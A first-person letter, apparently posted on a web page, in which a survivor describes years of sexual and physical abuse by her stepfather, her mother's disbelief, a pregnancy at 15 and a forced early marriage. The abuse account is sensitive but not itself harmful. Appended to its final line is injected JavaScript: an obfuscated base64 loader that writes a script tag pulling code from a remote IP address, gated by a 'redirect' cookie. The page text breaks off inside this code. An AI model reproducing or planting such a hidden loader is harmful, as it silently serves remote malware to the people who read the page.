Even though this is not an easy letter for me to write, it helps to know that I am not alone, and someone out there honestly understands what I go through on a daily basis. I will tell you my story. When my mother was 26, she had me. My biological “father” never looked back. A year or so later, she married a different man. This man is the only father that I have ever known. When I was 6 years old, my father took a job that carried him out of our state at times. My mother and her sisters decided to go for a visit, as my uncles both worked with him. All of our families each had their own hotel room. One morning my mother and my aunts decided to go out to buy things from the local grocer. I awoke very cold. I was 6 years old. At my mother’s suggestion, I was told to climb in bed with my stepfather, so that I would be warm. This is the first of many times I was “forced” to touch him, and allow him to do the same to myself. Almost as if automatically I went from a happy, bubbly child to one who was withdrawn and not very well behaved at all………..When we got home, my mother went back to work. I was forced into this situation nearly every day of my life. I had to leave my toys behind, turn my record player off, put down my glass of Kool-Aid, and with fear swollen up in my chest, make the long journey down the hall, to a literal nightmare. I developed a seizure disorder. I have no proof if this could have been the cause, but it very well could have been.
For the first 5 years, this was as far as it went. Then, when I was 11 years old I was told, “You’re a lot older now, and you know what I have to do”….I didn’t know. When I asked, and I was told, I felt fear as if I had never known fear before. It hurt so badly, I remember, and I couldn’t understand why this man who loved me would put my little body through so much torture. I did not talk to anyone for the whole week. Around the age of 13, he became extremely jealous of my playmates. If some little boy wanted me to ride bikes, play cars, hide and seek, or what have you, I was too afraid to tell him I couldn’t, because I had no excuse as to why. I was more afraid of the abuse that followed when I did. I would be on many occasions, drug down the hall by my hair, or kicked in my spine, (whatever it took), crying, pleading, and telling him “we were just playing”, begging him to stop. I was called a slut, a whore, a tramp, along with some others, before I even knew what the words meant. Over the course of time, I went through much abuse. I remember having the flu, and told I was lying to get out of it. He would accuse me of being with someone else and just didn’t want him to find out. He would describe to me in graphic detail how he could find out. I would get scared, so I had to “give in”, to keep the physical abuse from going further. Not only that, but he would destroy my property. At 13, 14, and 15 a radio was a big thing. But, if I had a seizure, got sick, or said hello to the wrong person, my things would be stomped, thrown, or put in the trash. I virtually lost every birthday and Christmas present I ever received. ………..My aunt and uncle asked my mother if I could clean out their pantries for them, and they would pay me. She said yes. I was excited. Not only could I buy some of my things back, but I wouldn’t have to “go with him”, those nights at least. How wrong I was. I had a gun put to my back; the trigger pulled, and told, I wasn’t going anywhere. I was told to tell them that I had had a seizure, and didn’t feel like it. One night, my mother was home. He told my mother I was sleeping with my uncle. This made her very mad, and she told me to go. I was happy, but when I got home, he had shot our car full of holes, and knocked their bedroom walls in. My mother’s response? “If I’m gonna have to go through this every time you go over there, I will just call her tomorrow and tell her you can’t do it.
Once I had asked my mother, “what would you do if daddy was having sex with me?”, kind of as a test, I was 13. She said, “I would want to know why you were in bed with another woman’s husband….that’s my husband, not yours or anyone else’s”. I told her one other time, but he slammed me into a wall, told me “tell your mother the truth”, then whispered in my ear, if she hurts herself or kills herself, it will be your fault. I told her I was lying. She told me I better never tell such a bad lie again. That it was a horrible thing to come out of my mouth. I was in shock, and to this day, it is so much harder to forgive her, than it is him.
What should be the worst part of my story, is really my silver lining. When I was 15 he told me I could not get pregnant on my period, and forced me to let him go “all the way” with it. Well, at 15, I was pregnant with his child. I bore a beautiful, wonderfully amazing little boy, who is now 22 years old and my very best friend. I had a sister who was very young, and told him that my husband is not his real dad; then an aunt, and then a cousin. Finally, he wanted to know the truth. My dad, who is still in the picture, I was afraid, was going to tell him, because he hinted at it. I wanted it to be me that told him. Even after all that I had gone through, and still do, in my life, the saddest day I have ever lived was when I had to tell my 15 year old son the “truth”. He cried, “No, No, God, No” over and over. He shook. I cradled him in my arms in the fetal position and rocked him like I had when he was a baby. I wish that I could take that day back. Now my son wrestles his own demons, but he seems to get on with life pretty well. He is a wonderful person despite it all.
When I was 16, I met my husband. He only lived a few houses away, so he was at my house a lot. This took away from my dad’s “time”. I got severe beatings, to the point my husband, then my boyfriend, was sleeping in a ditch, afraid to leave me. On one such occasion, I was simply sitting on top of a car with him when my dad came home. He started naming a lot of household chores he wanted done, and I knew this was simply to get my husband to leave. I whispered in his ear, “please, don’t leave, he’s about to beat me”. When I entered the house, I was slung through my kitchen table so hard, it broke in half, and one of the legs fell off. I tried to climb back outside. He hit me over the head with the leg. I was able to kick the door. My husband knocked, but it was ignored. I started screaming his name. He called my mother. She came home, and when she did, I grabbed the leg, told her, “he has beaten me like this long enough”, and I went after him. At which point, my mother took the leg from me and just hit me multiple times. He sat there and laughed at me when she wasn’t looking. The next day, I was told, I was getting married and getting out of their house. They were keeping my son. I did finally go to battle. No way would my child ever be submitted to that abuse. I threatened to call the police. His agreement was, if I would get married and go, (probably my mother’s idea), I could take my “Own” child. My husband agreed. He didn’t know what to do. I was 17, he was 19. We had known each other 3 months. Looking back, this man not only took my life from me, but made the one I have grown to despise. He chose when I got married, who I married, when I had children, that I would quit school, and also, introduced me to smoking, “so that I would be more fun”………..
I know that I need therapy myself, as I have never had any, and I struggle with this every day of my life. I feel so angry at times, so depressed at others, and lost instead of living. But, if I can find a way to help just one person who has been where I have been, that would mean the world to me. So, that is my story. ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘